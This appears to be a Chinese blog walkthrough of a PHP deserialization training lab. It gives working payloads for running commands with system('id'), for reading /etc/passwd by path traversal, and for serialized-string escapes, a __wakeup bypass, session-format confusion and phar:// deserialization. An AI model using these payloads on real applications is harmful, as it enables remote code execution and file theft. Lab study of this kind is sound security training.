php反序列化靶场随笔分析
-
项目地址:github.com/mcc0624/php_ser_Class
-
推荐使用docker部署:https://hub.docker.com/r/mcc0624/ser/tags
前面讲了以下php基础,我们直接从class6开始实验
class6
访问页面,传一个序列化的字符串,php代码将其反序列化且调用对象的displayVar()方法 payload: benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";} 结果: uid=33(www-data) gid=33(www-data) groups=33(www-data)
class7
__construct(): 类的构造函数,当创建类的实例时自动调用。 __destruct(): 类的析构函数,当对象被销毁时自动调用。 例题:传一个序列化字符串,php代码反序列化为对象,当对象销毁时调用__destruct() payload: benben=O:4:"User":1:{s:3:"cmd";s:13:"system("id");";} 结果: uid=33(www-data) gid=33(www-data) groups=33(www-data)
class8
__sleep(): 执行serialize()时,先会调用这个函数。 传一个参数给对象,对象__sleep()方法调用system执行这个参数,然而php代码在序列化这个对象时,调用了__sleep()方法 payload: benben=id 结果: uid=33(www-data) gid=33(www-data) groups=33(www-data) N;
__wakeup(): 执行unserialize()时,先会调用这个函数。 传一个User 对象序列化后的字符串给参数,php代码会进行反序列化,触发__wakeup(),__wakeup()执行系统命令 payload: benben=O:4:"User":2:{s:8:"username";s:2:"id";s:8:"nickname";N;} 结果: uid=33(www-data) gid=33(www-data) groups=33(www-data)
class9&class10
__toString(): 类被当作字符串时的回应方法。 __invoke(): 以函数方式调用对象时的回应方法。 __call(): 当调用对象中不可访问的方法时调用 __callStatic(): 以静态方式调用不可访问方法时调用。 __get(): 读取不可访问属性的值时调用(成员属性不存在) __set(): 设置不可访问属性的值时调用。(给不存在的成员赋值) __isset(): 当对不可访问属性调用isset()或empty()时调用。 __unset(): 当对不可访问属性调用unset()时调用。 __clone(): 当对象被克隆时调用。
class11
问题:如果遇到private的属性,在生成序列化的字符串时,如何为其赋值? 操作1:可以先将private修改为public,然后生成序列化的字符串后,在字符串中向这个属性添加类名和%00 操作2:直接给这个类添加一个构造函数,构造函数帮助我们给private属性赋值,赋完值后打印其序列化后的字符串 evil类创建对象作为index类创建的对象的test属性,然而index对象的test属性是private,(obj_index->$test = obj_evil) payload: O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^ 修改后: O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^^^^^^^^^^^^^
<?php
// 这个对应操作1
// 将index对象的test属性修改为public或去掉修饰符
class index {var $test;
}
class evil {var $test2;
}
$obj1 = new evil();
$obj1->test2 = 'system("id");';
$obj2 = new index();
$obj2->test = $obj1;
echo serialize($obj2);
/*
输出结果:O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^
修改后:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^^^^^^^^^^^^^
*/
?>
<?php
// 这个对应操作2
class index {private $test;public function __construct(){$this->test = new evil();}
}
class evil {var $test2 = 'system("id");';
}
$obj = new index();
echo serialize($obj);
/*
输出结果:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}
*/
?>
class12
目标:输出sec中的tostring is here! payload: benben=O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
<?php
class fast {public $source;public function __wakeup(){echo "wakeup is here!!";echo $this->source;}
}
class sec {var $benben;public function __tostring(){echo "tostring is here!!";}
}
$obj1 = new sec();
$obj2 = new fast();
$obj2->source = $obj1;
echo serialize($obj2);
?>
class13
1.较为敏感的方法:Modifier类中__invoke能触发include($this->var) 2.Modifier对象中__invoke()方法能被Test对象__get魔术方法触发 3.Test对象__get()魔术方法能被Show对象中的__toString()方法触发 4.Show对象中的__toString()方法,能被另一个show对象的__wakeup()方法触发 5.unserialize触发show对象的__wakeup()方法
Show1对象反序列化触发wakeup魔术方法 ---------> Show2对象的__toString()方法--------->Test对象的__get魔术方法 --------->Modifier对象的__invoke方法--------->include($this->var)
<?php
class Modifier {public $par;
}
class Show{public $source;public $str;
}
class Test{public $p;
}
$obj1_Modifier = new Modifier();
$obj1_Modifier->par = '../../../../../../etc/passwd';
$obj1_Test = new Test();
$obj1_Test->p = $obj1_Modifier;
$obj1_Show = new Show();
$obj1_Show->str = $obj1_Test;
$obj2_Show = new Show();
$obj2_Show->source = $obj1_Show;
echo serialize($obj2_Show);
?>
payload: O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"par";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}^^^^^ 修改后: O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}^^^^^^^^^^^^^^^^^^^^^
class14
对象序列化为字符串,字符串进行了过滤,过滤掉了"system()",导致字符串长度减少,因此字符串进行反序列化会失败。 那这种情况下,只要给出两个参数供攻击者输入,那么攻击者就能够控制所有属性(包括这两个属性之外的其他属性) 原理:参数1被过滤,导致序列化后v1的数值长度,与v1的实际长度不匹配,且大于实际长度,这时,构造参数2,让v1的值能一直覆盖到参数2来确保v1的数值长度和实际长度相匹配,然后再一次构造参数2用于构造其他属性,导致整个参数1和参数2的前面部分成为数值部分,而参数2的后面部分成为功能性代码
过滤条件: "system()" -> "" 8 -> 0 结果: O:1:"A":2:{s:2:"v1";s:n:"m个字符";s:2:"v2";s:x:"x个字符";}n = 参数1的长度,同时是v1的长度 x = 参数2的长度,不是v2的长度,因为其是属于v1的值,不是功能性代码 m = n被过滤后的长度 n = m + 13 + x的位数(通常是2位)+ 2 + 一个可控长度的字符串 n = m + 17 + 一个可控长度的字符串 n至少比m多17个字符 输入n对应字符串(参数1): system()system()system() (n=24)(m=0)----->(根据:n = m + 17 + 一个可控长度的字符串,需要长度为7的可控字符串) 输入x对应字符串(参数2): 1234567";s:2:"v2";s:3:"123";}^^^^^^^^ ^^^^^^^^^^^^^^^^^长度为7的可控字符串 我们构造的名为v2的属性 结果: O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";}^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^ 长度为n=24 可控长度的字符串 过滤后: O:1:"A":2:{s:2:"v1";s:24:"";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"abc";}";}^^^^^^^^^^^^^^^^^^^^^^^^长度为n=24
v1 = 'system()system()system()'; v2 = '1234567";s:2:"v2";s:3:"123";}'; O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";} object(A)#1 (2) {["v1"]=>string(27) "";s:2:"v2";s:29:"1234567"["v2"]=>string(3) "123" }
class17(17是14的例题,所以放到前面)
过滤条件: flag -> hk 4 -> 2 php -> hk 3 -> 2 O:4:"test":3:{s:4:"user";s:n:"m个字符";s:4:"pass";s:x:"x个字符";s:3:"vip";b:0;} n = 参数1的字符个数 m = n过滤后的字符的个数 x = 参数2字符个数 n = m + 15 + (x的位数,通常是2位) + 2 + 一个可控长度的字符串 n = m + 19 + 一个可控长度的字符串 所以n至少比m多19个字符 输入n对应字符串(参数1): flagflagflagflagflagflagflagflagflagflag (n=40)(m=20)---->(需要长度为1的可控字符串) 输入x对应字符串(参数2): 1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}^^ ^^^^^^^^^^^^^^^长度为1的可控字符串 构造vip属性来控制vip属性的值 O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}";s:3:"vip";b:0;} object(test)#1 (3) {["user"]=>string(40) "hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1"["pass"]=>string(3) "123"["vip"]=>bool(true) }
class15
对序列化的字符串添加些字符,导致数值长度与实际长度不符 原理:通过构造第一个参数,使得参数的前面部分为数值,而后面部分作为功能性代码
添加条件: ls -> pwd (2 -> 3) O:1:"A":2:{s:2:"v1";s:n:"m个字符";s:2:"v2";s:3:"123";} n:参数1的长度,同时是v1的长度 m:n被添加后的长度 a:要构造其他参数的长度 n = m - a 要构造的字符串";s:2:"v2";s:3:"123";} a=22 n = m - 22 参数 = lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123;} payload: O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";} 添加后: O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";}
class16
添加条件: php -> hack (3 -> 4) O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"daydream";} n:参数1的长度,也是user的长度 m:n被增加后的长度 a:要构造的字符串的长度 n = m - a 要构造的字符串";s:4:"pass";s:8:"escaping";} a = 29 n = m - 29 payload: 参数 = phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";} 添加后: O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
class18
__wakeup()魔术方法绕过(CVE-2016-7124) 序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行 漏洞影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10
payload: O:+6:"secret":2:{s:4:"file";s:25:"../../../../../etc/passwd";}^ ^ 这里绕过正则 这里绕过__wakeup的执行
class19
$obj->enter = &$obj->secret; 使用引用,使得$obj对象的enter和secret属性的值使用的是同一块内存 payload: O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
class20
$_SESSION['benben'] = $_GET['ben']; 以上条件php会将获取到的ben值存储在session会话的benben属性,php先创建一个以session为名的文件,然后将ben进行序列化存储到这个文件中,例如: 当我们传递ben=1234时,存储的文件里的内容如下: benben|s:4:"1234";
另外session属性存储进文件时有三种存储格式,以上演示的是php格式: 1.php格式: 键名+竖线+反序列化的属性 2.php_serialize格式: 反序列化的属性 3.php_binary格式: 二进制格式存储 第一种情况已经演示了,看第二种情况: $_SESSION['benben'] = $_GET['ben']; $_SESSION['b'] = $_GET['b']; ben=123&b=456时,存储结果: a:2:{s:6:"benben";s:3:"123";s:1:"b";s:3:"456";} 第三种情况: ACKbenbens:3:"123";SOHbs:3:"456";
漏洞产生条件:session以php_serialize格式存储属性,而以php格式读取属性 漏洞原理:访问网页时,php后台代码是通过反序列化session对象来获取session属性的值 漏洞影响:我们向session属性中写入我们序列化好的对象,访问时会获取session并反序列化我们写的对象 访问save.php $_SESSION['ben'] = $_GET['a']; 当提交a为如下字符串时 |O:1:"D":1:{s:1:"a";s:13:"system("ls");";} 文件存储内容如下,当以php格式解析并反序列化时 a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system("ls");";} ^^^^^^^^^^^^^^^^^^^^^ 竖线前的内容被认作键名,竖线后的内容被当作属性,而竖线后的内容我们可以构造 再访问vul.php将会执行恶意代码
class21
漏洞:还是上面的漏洞,提交时候用的是php_serialize格式,读的时候用的php格式 思路:构造payload提交(通过class20的save.php提交),使session属性存储在文件,然后再次访问 访问class20的save.php,payload如下: |O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;} 再次访问class21的index.php,他会自动获取session会话,并反序列化session的属性,我们通过payload将Flag对象写入session属性,导致其反序列化 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
class22
漏洞原理:生成的phar文件中,会将对象压缩成序列化的字符串,使用phar://协议加载文件时,会反序列化成为对象 漏洞条件:目标服务器能访问以phar://协议访问到你构造的phar文件 访问:http://localhost/class22/phar.php,会自动生成一个携带Testobj对象的phar文件 访问:http://localhost/class22/index.php,并传参:filename=phar://test.phar&a=phpinfo(); 会反序列化phar文件中的Testobj对象
class23
class TestObject {public function __destruct() {include('flag.php');echo $flag;} } 对TestObject进行反序列化自动获取flag,甚至不需要任何属性
<?php
//构造phar文件
highlight_file(__FILE__);
class TestObject
{
}
if (ini_get('phar.readonly') === 'On') {echo "phar.readonly is set to On";
} else {echo "phar.readonly is not set to On";
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
以上代码获取phar文件后 访问http://localhost/class23/upload.php,上传图片,只能上传图片,就把后缀phar改为jpg/png 访问http://localhost/class23/index.php携带post参数file=phar://upload/test.jpg 会自动将test.jpg文件当作phar文件并反序列化,反序列化触发 __destruct()方法获取flag
相关文章:
php反序列化靶场随笔分析
项目地址:github.com/mcc0624/php_ser_Class 推荐使用docker部署:https://hub.docker.com/r/mcc0624/ser/tags 前面讲了以下php基础,我们直接从class6开始实验 class6 访问页面,传一个序列化的字符串,php代码将其反…...

动态规划 - 编辑距离
115. 不同的子序列 困难 给你两个字符串 s 和 t ,统计并返回在 s 的 子序列 中 t 出现的个数,结果需要对 10^9 7 取模。 算法思想:利用动态规划,分s[i - 1] 与 t[j - 1]相等,s[i - 1] 与 t[j - 1] 不相等两种情况具…...

力扣——113. 路径总和
113. 路径总和 II 给你二叉树的根节点 root 和一个整数目标和 targetSum ,找出所有 从根节点到叶子节点 路径总和等于给定目标和的路径。 叶子节点 是指没有子节点的节点。 示例 1: 输入:root [5,4,8,11,null,13,4,7,2,null,null,5,1], t…...
C02S04-Ubuntu基本使用
一、Ubuntu初始配置 1. 使用root用户 Ubuntu系统默认只能使用普通用户,要想使用root用户,需要先设置root用户密码。 进入终端,配置root用户密码。按照提示输入密码。 sudo passwd root配置完成后,执行下面的密码,切换…...

C语言 | Leetcode C语言题解之第525题连续数组
题目: 题解: struct HashTable {int key, val;UT_hash_handle hh; };int findMaxLength(int* nums, int numsSize) {int maxLength 0;struct HashTable* hashTable NULL;struct HashTable* tmp malloc(sizeof(struct HashTable));tmp->key 0, tm…...

Qml-Transition的使用
Qml-Transition的使用 Transition的概述 Transition:定义了当状态发生改变时应用的动画属性animations : list:(Transition)过渡的动画属性enabled : bool:状态发生变化时,是否使能此过渡(Transition)动画…...
Notepad++检索包含多个关键字的行
Notepad检索包含多个关键字的行 在Notepad中,你可以使用正则表达式来检索包含多个关键字的行。以下是具体步骤: 打开Notepad,打开要搜索的文件。 点击菜单栏上的“搜索”选项,然后选择“查找”。 在弹出的查找对话框中…...
C语言:水仙花树,要求三位以上的N位整数每位的N次方等于数本身,全部输出出来
#include <stdio.h> int main() { int n; scanf("%d",&n);//这里是说明多少n位整数 int first1; int i1; while(i<n){//此while循环可以得到n位数的最小位,例如3位的100. first*10; i; } ifirst; whil…...

金融贷款口子超市V2源码 Thinkphp开发的贷款和超市平台源码(亲测源码含安装视频教程)
金融贷款口子超市V2源码 Thinkphp开发的贷款和超市平台源码 源码下载:https://download.csdn.net/download/m0_66047725/89938268 更多资源下载:关注我。...
redis的三种客户端
在 Redis 中,常用的 Java 客户端有三种:Jedis、Lettuce 和 Redisson。它们各有特点,适用于不同的场景。以下是它们的详细介绍,以及如何在 Spring Boot 中集成 Redis。 一、Redis 三种常用客户端详解 1.1 Jedis Jedis 是 Redis 官…...

边缘计算【智能+安全检测】系列教程--agx orin解决RTC时间问题
因为是离线运行,首要问题是时间不准确,就在主板上加装了纽扣电池,但是会有一系列问题,比如无法将RTC时间回写到系统时间,或者无法将系统时间写到RTC中等等一些列问题。为解决这些问题,一劳永逸的方式&#…...
数据库动态扩容:Java实现与技术策略
引言 数据库动态扩容是应对数据量增长和业务需求变化的关键技术。它允许数据库系统在不停机的情况下,通过增加或减少资源来适应业务负载的变化。本文将详细介绍数据库动态扩容的工作原理、技术策略,并提供Java代码示例。 1. 数据库动态扩容的工作原理 …...

Golang | Leetcode Golang题解之第525题连续数组
题目: 题解: func findMaxLength(nums []int) (maxLength int) {mp : map[int]int{0: -1}counter : 0for i, num : range nums {if num 1 {counter} else {counter--}if prevIndex, has : mp[counter]; has {maxLength max(maxLength, i-prevIndex)} …...
低代码架构浅析
低代码的定义与应用场景 定义 低代码平台是一种通过可视化工具和预定义组件实现快速应用开发的环境,显著减少了编码量。它旨在简化开发流程,加快应用交付,提高开发效率,使非技术人员也能参与应用开发。 应用场景 企业内部应用 …...
mysql字段是datetime如何按照小时来统计
在 MySQL 中,如果你有一个包含 DATETIME 类型的列,并且你想按照小时来统计数据,可以使用 DATE_FORMAT 函数将 DATETIME 列格式化为仅包含日期和小时的形式,然后使用 GROUP BY 子句来分组。 假设你有一个名为 events 的表…...
nacos快速启动
预备环境准备: 确保是64 bit OS(推荐Linux/Unix/Mac),安装64 bit JDK 1.8并下载&配置,安装Maven 3.2.x并下载&配置。 下载源码或者安装包: 从Github上下载源码方式: git clone https://…...

@Excel若依导出异常/解决BusinessBaseEntity里面的字段不支持导出
今天发现所有实体类继承BusinessBaseEntity里面的这些通用字段不支持导出,debug时发现是这样: 导出效果 这里我把能查到的方法都汇总了,如果你也遇到这个异常,可以去逐步排查 1.先看库里有没有数据 2.看字段名是否对齐 3.所需要…...

虚拟机 Email 恢复专用工具:Virtual Machine Email Recovery
天津鸿萌科贸发展有限公司从事数据安全服务二十余年,致力于为各领域客户提供专业的数据恢复、数据备份解决方案与服务,并针对企业面临的数据安全风险,提供专业的相关数据安全培训。 天津鸿萌科贸发展有限公司是 SysTools 系列数据恢复、取证及…...

代理人工智能如何应对现代威胁的速度和数量
Seven AI首席执行官 Lior Div 讨论了代理 AI 的概念及其在网络安全中的应用。他解释了代理 AI 与传统自动化安全系统的区别,即代理 AI 具有更大的自主性和决策能力。 Div 强调,通过实时处理大量警报,代理 AI 特别适合对抗现代 AI 驱动的威胁…...
element-plus版本过老,自写选项弹框增删功能
title: element-plus版本过老,自写选项弹框增删功能 date: 2024-10-31 10:53:18 tags: element-plus 1.情景 发现代码怎么都用不了el-select的#footer插槽从而实现不了相关的操作,发现el-select自带的管理相关数据的属性popper-class用不了。 2.原因与…...

大话软工笔记—需求分析概述
需求分析,就是要对需求调研收集到的资料信息逐个地进行拆分、研究,从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要,后续设计的依据主要来自于需求分析的成果,包括: 项目的目的…...

突破不可导策略的训练难题:零阶优化与强化学习的深度嵌合
强化学习(Reinforcement Learning, RL)是工业领域智能控制的重要方法。它的基本原理是将最优控制问题建模为马尔可夫决策过程,然后使用强化学习的Actor-Critic机制(中文译作“知行互动”机制),逐步迭代求解…...

VB.net复制Ntag213卡写入UID
本示例使用的发卡器:https://item.taobao.com/item.htm?ftt&id615391857885 一、读取旧Ntag卡的UID和数据 Private Sub Button15_Click(sender As Object, e As EventArgs) Handles Button15.Click轻松读卡技术支持:网站:Dim i, j As IntegerDim cardidhex, …...

【大模型RAG】Docker 一键部署 Milvus 完整攻略
本文概要 Milvus 2.5 Stand-alone 版可通过 Docker 在几分钟内完成安装;只需暴露 19530(gRPC)与 9091(HTTP/WebUI)两个端口,即可让本地电脑通过 PyMilvus 或浏览器访问远程 Linux 服务器上的 Milvus。下面…...
Golang dig框架与GraphQL的完美结合
将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用,可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器,能够帮助开发者更好地管理复杂的依赖关系,而 GraphQL 则是一种用于 API 的查询语言,能够提…...
将对透视变换后的图像使用Otsu进行阈值化,来分离黑色和白色像素。这句话中的Otsu是什么意思?
Otsu 是一种自动阈值化方法,用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理,能够自动确定一个阈值,将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...

HBuilderX安装(uni-app和小程序开发)
下载HBuilderX 访问官方网站:https://www.dcloud.io/hbuilderx.html 根据您的操作系统选择合适版本: Windows版(推荐下载标准版) Windows系统安装步骤 运行安装程序: 双击下载的.exe安装文件 如果出现安全提示&…...
反射获取方法和属性
Java反射获取方法 在Java中,反射(Reflection)是一种强大的机制,允许程序在运行时访问和操作类的内部属性和方法。通过反射,可以动态地创建对象、调用方法、改变属性值,这在很多Java框架中如Spring和Hiberna…...
Caliper 配置文件解析:config.yaml
Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...
Java数值运算常见陷阱与规避方法
整数除法中的舍入问题 问题现象 当开发者预期进行浮点除法却误用整数除法时,会出现小数部分被截断的情况。典型错误模式如下: void process(int value) {double half = value / 2; // 整数除法导致截断// 使用half变量 }此时...